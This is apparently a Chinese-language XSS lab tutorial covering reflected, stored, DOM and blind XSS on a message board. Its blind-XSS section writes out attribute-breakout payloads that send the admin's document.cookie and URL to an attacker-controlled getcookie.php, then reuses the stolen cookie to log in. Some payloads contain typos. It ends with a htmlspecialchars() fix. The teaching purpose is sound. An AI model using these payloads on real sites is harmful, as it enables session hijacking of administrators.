标题XSS攻击分为三类:
- 反射型:不具有持久性,浏览器发送数据给服务器通过PHP代码处理返回给浏览器。
- 存储型:威胁最大,浏览器发送payload给服务器处理后给数据库。
- DOM型:不需要服务器端内容,前端代码出问题导致前端DOM树被修改。
2.存储型
写一个php代码如下(重点注意php连接数据库的操作):
phpstudy运行这个页面加入数据库后查询id=1即可运行该script,可通过phpstudy的mysql管理器查看是否存入数据库中。
phpstudy的数据库浏览界面如上。
3.DOM型
如下图控制台所示在DOM的php的脚本里加上document.url
的截取参数语句:
得到脚本如下:
其中eval函数可以将字符串当做代码来执行,比如
id=alert(1)
拦截到的alert(1)在使用eval函数之后可以执行弹窗输出1。实操如下:
控制台执行
document.write("<script>alert(1)</script>")
也能达到eval()函数的效果,与后端无任何接触。
XSS盲打
测试留言板是否有XSS漏洞
以一台浏览器为一台电脑,火狐浏览器是黑客,谷歌浏览器是后台管理员。先打开留言板页面。
在搜索框输入mstkey抓包发现POST方式在传数据,看源代码也没有mstkey特征字符说明不是反射型、DOM型的XSS漏洞。发表留言等的输入框输入之后(见下图):
然后在管理员界面:
尽量在姓名邮箱是写常规的然后只在留言内容里测试埋下黑客代码,否则可能会被筛选掉。
可以看到管理员界面还不能出发alert(1)
代码,查看源码知道留言内容被html编码了:
点f12看源码是
“edit as html”
可以看到恢复原来的<script></script>
黑客代码编码,可见其没有被解析。
可以看到这段代码是被双引号括起来了并且有左右尖括号即input标签的右尖括号,那是不是可以在输入的时候就输入双引号和右尖括号呢?
所以拟在输入时输入
”><script>alert(1)</script>
当然要注意修改了客户端的代码之后再刷新还是服务端通过http发送的原来网站,这点是改变不了的。
当管理员触发到这条留言后为了保险就可以将其删除,怎么能长久的查看到管理员触发了我们埋的雷呢?
就可以输入触发访问文件的payload:
”><script>document.location.href="http://www.hi-ourlife.com/"</script>
并且写一个get cookie的文件以对访问该文件的客户端的cookie做记录(cookie网络凭证)
通过凭证就可以登录后台:(获取自己的cookie可以使用documment.cookie来获取)
将payload完善成为获取服务端cookie并且将获取的cokkie写到本地cookie.txt文件里:
"><script>document.loaction.href="http://192.168.0.109/mst/getcookie.php?cookie="+document.cookie</script>
这时增加功能获取cookie和url的值都存放在本地cookie.txt文件里:
- 将getcookie.php文件改成:
- 将payload改成:
"><script>document.loaction.href="http://192.168.0.109/mst/getcookie.php?cookie="+document.cookie+“&durl=”+document.URL</script>
效果如图:
firebox安装firebug插件,将获取的cookie的名字和内容重新设置就可以通过cookie设置进入到后台(不用输账号密码直接进入!!!)
修复方法
仍然像html注入一样使用htmlspecialchars()函数规避: